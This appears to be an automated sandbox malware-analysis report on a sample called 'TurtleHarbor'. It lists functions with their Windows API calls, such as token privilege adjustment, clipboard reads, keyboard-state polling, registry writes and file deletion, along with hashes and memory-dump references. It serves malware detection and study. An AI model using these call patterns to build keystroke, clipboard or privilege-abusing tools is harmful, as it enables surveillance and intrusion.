                                            • Opcode Fuzzy Hash: aa0e2fbd384f9f572281d0f73bd2334363fb7aeeb8bef9f6be29c93bda9263d9
                                            • Instruction Fuzzy Hash: 94319271A40318BFEB266B619C4AF7F3F6CEB46B50F154015FA04EA1D1DAB05D50AFA0
                                            Function 00368F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00369399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003693E3
                                              • Part of subcall function 00369399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00369410
                                              • Part of subcall function 00369399: GetLastError.KERNEL32 ref: 0036941D
                                            • _memset.LIBCMT ref: 00368F71
                                            • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00368FC3
                                            • CloseHandle.KERNEL32(?), ref: 00368FD4
                                            • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00368FEB
                                            • GetProcessWindowStation.USER32 ref: 00369004
                                            • SetProcessWindowStation.USER32(00000000), ref: 0036900E
                                            • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00369028
                                              • Part of subcall function 00368DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00368F27), ref: 00368DFE
                                              • Part of subcall function 00368DE9: CloseHandle.KERNEL32(?,?,00368F27), ref: 00368E10
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                            • String ID: $default$winsta0
                                            • API String ID: 2063423040-1027155976
                                            • Opcode ID: ab052dc39df078ee97058cab4c2f94bb641252f36c2bb1ed1eb93c09cbbfb50f
                                            • Instruction ID: 1d373dec5a29873f739fecbc7dfc42f2ea850931d407aefba89097f0b23c707e
                                            • Opcode Fuzzy Hash: ab052dc39df078ee97058cab4c2f94bb641252f36c2bb1ed1eb93c09cbbfb50f
                                            • Instruction Fuzzy Hash: 66817BB1900209BFDF129FA4CC49AFE7B7DEF0A304F15815AF910A6264DB328E15DB20
                                            Function 00384632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenClipboard.USER32(003A0980), ref: 0038465C
                                            • IsClipboardFormatAvailable.USER32(0000000D), ref: 0038466A
                                            • GetClipboardData.USER32(0000000D), ref: 00384672
                                            • CloseClipboard.USER32 ref: 0038467E
                                            • GlobalLock.KERNEL32(00000000), ref: 0038469A
                                            • CloseClipboard.USER32 ref: 003846A4
                                            • GlobalUnlock.KERNEL32(00000000,00000000), ref: 003846B9
                                            • IsClipboardFormatAvailable.USER32(00000001), ref: 003846C6
                                            • GetClipboardData.USER32(00000001), ref: 003846CE
                                            • GlobalLock.KERNEL32(00000000), ref: 003846DB
                                            • GlobalUnlock.KERNEL32(00000000,00000000,?), ref: 0038470F
                                            • CloseClipboard.USER32 ref: 0038481F
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                            • String ID:
                                            • API String ID: 3222323430-0
                                            • Opcode ID: 1be524ac06d22dcefa3b0209dfff9d25474565bdd99749d68d3b1e30ae7b7f1f
                                            • Instruction ID: 8adcf00384dd7e5b4133441660d544383abadc638174534a04e68cba247ee745
                                            • Opcode Fuzzy Hash: 1be524ac06d22dcefa3b0209dfff9d25474565bdd99749d68d3b1e30ae7b7f1f
                                            • Instruction Fuzzy Hash: 7851AD31244302ABD307FF60EC89F6E77ACAF99B50F014529F656D61A1EF30D9058B62
                                            Function 0037F5D8 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 119fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0037F5F9
                                            • _wcscmp.LIBCMT ref: 0037F60E
                                            • _wcscmp.LIBCMT ref: 0037F625
                                            • GetFileAttributesW.KERNEL32(?), ref: 0037F637
                                            • SetFileAttributesW.KERNEL32(?,?), ref: 0037F651
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0037F669
                                            • FindClose.KERNEL32(00000000), ref: 0037F674
                                            • FindFirstFileW.KERNEL32(*.*,?), ref: 0037F690
                                            • _wcscmp.LIBCMT ref: 0037F6B7
                                            • _wcscmp.LIBCMT ref: 0037F6CE
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0037F6E0
                                            • SetCurrentDirectoryW.KERNEL32(003CB578), ref: 0037F6FE
                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 0037F708
                                            • FindClose.KERNEL32(00000000), ref: 0037F715
                                            • FindClose.KERNEL32(00000000), ref: 0037F727
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                            • String ID: *.*$S7
                                            • API String ID: 1803514871-1017210279
                                            • Opcode ID: 1da77f104244678b2f13ff5afdc5cd4bcb1a80bf59c4b51fe78d27c35613e365
                                            • Instruction ID: 20086ab3153396d377f86b3b8159cc4e7c0769b405aab0958a0ccc1bf0da61d9
                                            • Opcode Fuzzy Hash: 1da77f104244678b2f13ff5afdc5cd4bcb1a80bf59c4b51fe78d27c35613e365
                                            • Instruction Fuzzy Hash: D33196716412196FDB269FB4DC89EEE77ACAF4A361F118165F808E21A0DB34DE44CB60
                                            Function 0037CD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(?,?), ref: 0037CDD0
                                            • FindClose.KERNEL32(00000000), ref: 0037CE24
                                            • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0037CE49
                                            • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0037CE60
                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 0037CE87
                                            • __swprintf.LIBCMT ref: 0037CED3
                                            • __swprintf.LIBCMT ref: 0037CF16
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            • __swprintf.LIBCMT ref: 0037CF6A
                                              • Part of subcall function 003338C8: __woutput_l.LIBCMT ref: 00333921
                                            • __swprintf.LIBCMT ref: 0037CFB8
                                              • Part of subcall function 003338C8: __flsbuf.LIBCMT ref: 00333943
                                              • Part of subcall function 003338C8: __flsbuf.LIBCMT ref: 0033395B
                                            • __swprintf.LIBCMT ref: 0037D007
                                            • __swprintf.LIBCMT ref: 0037D056
                                            • __swprintf.LIBCMT ref: 0037D0A5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
                                            • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                            • API String ID: 3953360268-2428617273
                                            • Opcode ID: 6e4c87b7df31fb2aae0c820b9ee8b407e3f475c62c80b03bbbfca93aec580760
                                            • Instruction ID: 1cdd61970c01ca4620a5fda10341f2b8af208b6c5f3001cb9e4684fa8cc27d27
                                            • Opcode Fuzzy Hash: 6e4c87b7df31fb2aae0c820b9ee8b407e3f475c62c80b03bbbfca93aec580760
                                            • Instruction Fuzzy Hash: 48A16EB1404304ABC716EFA4D985DAFB7ECAF99701F40491DF595CB191EB30DA48CBA2
                                            Function 00390EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00390FB3
                                            • RegCreateKeyExW.ADVAPI32(?,?,00000000,003A0980,00000000,?,00000000,?,?), ref: 00391021
                                            • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00391069
                                            • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 003910F2
                                            • RegCloseKey.ADVAPI32(?), ref: 00391412
                                            • RegCloseKey.ADVAPI32(00000000), ref: 0039141F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Close$ConnectCreateRegistryValue
                                            • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                            • API String ID: 536824911-966354055
                                            • Opcode ID: 88d664f97dc3869e04adb1734c7647e8629eb9813fd0b86aae11e199ed4dff50
                                            • Instruction ID: 40bc887510e4ae3ffd6061a9a2382c1c4bcd21ade28b96da1cecabeeb243b477
                                            • Opcode Fuzzy Hash: 88d664f97dc3869e04adb1734c7647e8629eb9813fd0b86aae11e199ed4dff50
                                            • Instruction Fuzzy Hash: C3026A752006119FCB1AEF25D881E6AB7E5FF89710F05895CF88A9B362DB30ED41CB91
                                            Function 0037F735 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 112fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0037F756
                                            • _wcscmp.LIBCMT ref: 0037F76B
                                            • _wcscmp.LIBCMT ref: 0037F782
                                              • Part of subcall function 00374875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00374890
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0037F7B1
                                            • FindClose.KERNEL32(00000000), ref: 0037F7BC
                                            • FindFirstFileW.KERNEL32(*.*,?), ref: 0037F7D8
                                            • _wcscmp.LIBCMT ref: 0037F7FF
                                            • _wcscmp.LIBCMT ref: 0037F816
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0037F828
                                            • SetCurrentDirectoryW.KERNEL32(003CB578), ref: 0037F846
                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 0037F850
                                            • FindClose.KERNEL32(00000000), ref: 0037F85D
                                            • FindClose.KERNEL32(00000000), ref: 0037F86F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                            • String ID: *.*$j7
                                            • API String ID: 1824444939-2425405264
                                            • Opcode ID: 8a198a82d79f3e9739babe65153616f012124091743eff0fe65737974f91e881
                                            • Instruction ID: 779aefea342239cd9fcbe03c46c38058d4422a1a6ad724da7bcb5bd9ffd08314
                                            • Opcode Fuzzy Hash: 8a198a82d79f3e9739babe65153616f012124091743eff0fe65737974f91e881
                                            • Instruction Fuzzy Hash: 2931E5715002597EDB269FB4DC89AEE77ACAF0A321F118165F808E21A1DB34CE45CB61
                                            Function 003688CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00368E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00368E3C
                                              • Part of subcall function 00368E20: GetLastError.KERNEL32(?,00368900,?,?,?), ref: 00368E46
                                              • Part of subcall function 00368E20: GetProcessHeap.KERNEL32(00000008,?,?,00368900,?,?,?), ref: 00368E55
                                              • Part of subcall function 00368E20: HeapAlloc.KERNEL32(00000000,?,00368900,?,?,?), ref: 00368E5C
                                              • Part of subcall function 00368E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00368E73
                                              • Part of subcall function 00368EBD: GetProcessHeap.KERNEL32(00000008,00368916,00000000,00000000,?,00368916,?), ref: 00368EC9
                                              • Part of subcall function 00368EBD: HeapAlloc.KERNEL32(00000000,?,00368916,?), ref: 00368ED0
                                              • Part of subcall function 00368EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00368916,?), ref: 00368EE1
                                            • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00368931
                                            • _memset.LIBCMT ref: 00368946
                                            • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00368965
                                            • GetLengthSid.ADVAPI32(?), ref: 00368976
                                            • GetAce.ADVAPI32(?,00000000,?), ref: 003689B3
                                            • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 003689CF
                                            • GetLengthSid.ADVAPI32(?), ref: 003689EC
                                            • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 003689FB
                                            • HeapAlloc.KERNEL32(00000000), ref: 00368A02
                                            • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00368A23
                                            • CopySid.ADVAPI32(00000000), ref: 00368A2A
                                            • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00368A5B
                                            • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00368A81
                                            • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00368A95
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                            • String ID:
                                            • API String ID: 3996160137-0
                                            • Opcode ID: deb7fb0923a29c1749b8e5ff89e6bf8fdeb6138a87f413506ceecdd83807636a
                                            • Instruction ID: 276953895f18733f534d635b3e387a11bb610a177c50f1cdf6fd0e20ed967a03
                                            • Opcode Fuzzy Hash: deb7fb0923a29c1749b8e5ff89e6bf8fdeb6138a87f413506ceecdd83807636a
                                            • Instruction Fuzzy Hash: DA613A75900209BFDF06DFA5DC45EFEBBB9FF09304F04822AE915A6290DB759A05CB60
                                            Function 00390A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0039147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0039040D,?,?), ref: 00391491
                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00390B0C
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00390BAB
                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00390C43
                                            • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00390E82
                                            • RegCloseKey.ADVAPI32(00000000), ref: 00390E8F
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                            • String ID:
                                            • API String ID: 1240663315-0
                                            • Opcode ID: 86766c89b2d18ebcf12244d722185efeec65c36472bedd4878ba80a4909d7977
                                            • Instruction ID: f8c5d816f16feb9bde0189f3b73ab4b075fff54166e07efa7d2928e09d970c8e
                                            • Opcode Fuzzy Hash: 86766c89b2d18ebcf12244d722185efeec65c36472bedd4878ba80a4909d7977
                                            • Instruction Fuzzy Hash: EAE16D71604210AFCB1ADF28C991E6BBBE8EF89714F05896DF849DB261DB30ED41CB51
                                            Function 00370508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyboardState.USER32(?), ref: 00370530
                                            • GetAsyncKeyState.USER32(000000A0), ref: 003705B1
                                            • GetKeyState.USER32(000000A0), ref: 003705CC
                                            • GetAsyncKeyState.USER32(000000A1), ref: 003705E6
                                            • GetKeyState.USER32(000000A1), ref: 003705FB
                                            • GetAsyncKeyState.USER32(00000011), ref: 00370613
                                            • GetKeyState.USER32(00000011), ref: 00370625
                                            • GetAsyncKeyState.USER32(00000012), ref: 0037063D
                                            • GetKeyState.USER32(00000012), ref: 0037064F
                                            • GetAsyncKeyState.USER32(0000005B), ref: 00370667
                                            • GetKeyState.USER32(0000005B), ref: 00370679
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: State$Async$Keyboard
                                            • String ID:
                                            • API String ID: 541375521-0
                                            • Opcode ID: a3c333dd2409c3c71a2458174b4dbd713940debcd0405ae039e4a9a3fb674185
                                            • Instruction ID: c30159c91a943c2a93dd66aeaf67a839393173692a1f4260a70ad7e4bd804a38
                                            • Opcode Fuzzy Hash: a3c333dd2409c3c71a2458174b4dbd713940debcd0405ae039e4a9a3fb674185
                                            • Instruction Fuzzy Hash: 2441D8709087C9ADFF3B976488143B5BEA0AB53314F09C05DD5C9466C1EBAC99D4CF92
                                            Function 0037443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __swprintf.LIBCMT ref: 00374451
                                            • __swprintf.LIBCMT ref: 0037445E
                                              • Part of subcall function 003338C8: __woutput_l.LIBCMT ref: 00333921
                                            • FindResourceW.KERNEL32(?,?,0000000E), ref: 00374488
                                            • LoadResource.KERNEL32(?,00000000), ref: 00374494
                                            • LockResource.KERNEL32(00000000), ref: 003744A1
                                            • FindResourceW.KERNEL32(?,?,00000003), ref: 003744C1
                                            • LoadResource.KERNEL32(?,00000000), ref: 003744D3
                                            • SizeofResource.KERNEL32(?,00000000), ref: 003744E2
                                            • LockResource.KERNEL32(?), ref: 003744EE
                                            • CreateIconFromResourceEx.USER32(?,?,00000001,00030000,?,?,00000000), ref: 0037454F
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
                                            • String ID:
                                            • API String ID: 1433390588-0
                                            • Opcode ID: a86bb46b0eafabf47c980cc9298c145b9e7083ca602a3291831fb0fe60c72557
                                            • Instruction ID: 3d019757c8036b143d8abea8f50f0793f014233b1eff43c37524dbc5b5a4baf2
                                            • Opcode Fuzzy Hash: a86bb46b0eafabf47c980cc9298c145b9e7083ca602a3291831fb0fe60c72557
                                            • Instruction Fuzzy Hash: DD31A37150121AABDB279F61ED48EBB7BADFF0A301F008815F915D6150E734E920DB60
                                            Function 00384830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                            • String ID:
                                            • API String ID: 1737998785-0
                                            • Opcode ID: 80665f00d3bd62e379fea7d514aaf84d584c71922e4733eabfe817b7572b217a
                                            • Instruction ID: 807d0750316b36f16f160838c2608afe87951024f0d95d22c5aa766dd4a16701
                                            • Opcode Fuzzy Hash: 80665f00d3bd62e379fea7d514aaf84d584c71922e4733eabfe817b7572b217a
                                            • Instruction Fuzzy Hash: C421B2312013119FDB17AF20EC49B6E7BACEF49725F01805AF9069B2B1DB34AD40CB94
                                            Function 00373CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00330284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00322A58,?,00008000), ref: 003302A4
                                              • Part of subcall function 00374FEC: GetFileAttributesW.KERNEL32(?,00373BFE), ref: 00374FED
                                            • FindFirstFileW.KERNEL32(?,?), ref: 00373D96
                                            • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00373E3E
                                            • MoveFileW.KERNEL32(?,?), ref: 00373E51
                                            • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00373E6E
                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 00373E90
                                            • FindClose.KERNEL32(00000000,?,?,?,?), ref: 00373EAC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                            • String ID: \*.*
                                            • API String ID: 4002782344-1173974218
                                            • Opcode ID: 67d6e8bcc87dbf5facd0f563fb813d6c0a67506ed8e7a6b8356b920277bab726
                                            • Instruction ID: 8cc26db106888fec619f6d81512d63e55063b1f108f1c2464a45e30657ec1202
                                            • Opcode Fuzzy Hash: 67d6e8bcc87dbf5facd0f563fb813d6c0a67506ed8e7a6b8356b920277bab726
                                            • Instruction Fuzzy Hash: B851863180116D9ACF27EBA0DA92DEDB779AF21301F204165F446BB191EF356F09DBA0
                                            Function 0037FA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0037FA83
                                            • FindClose.KERNEL32(00000000), ref: 0037FB96
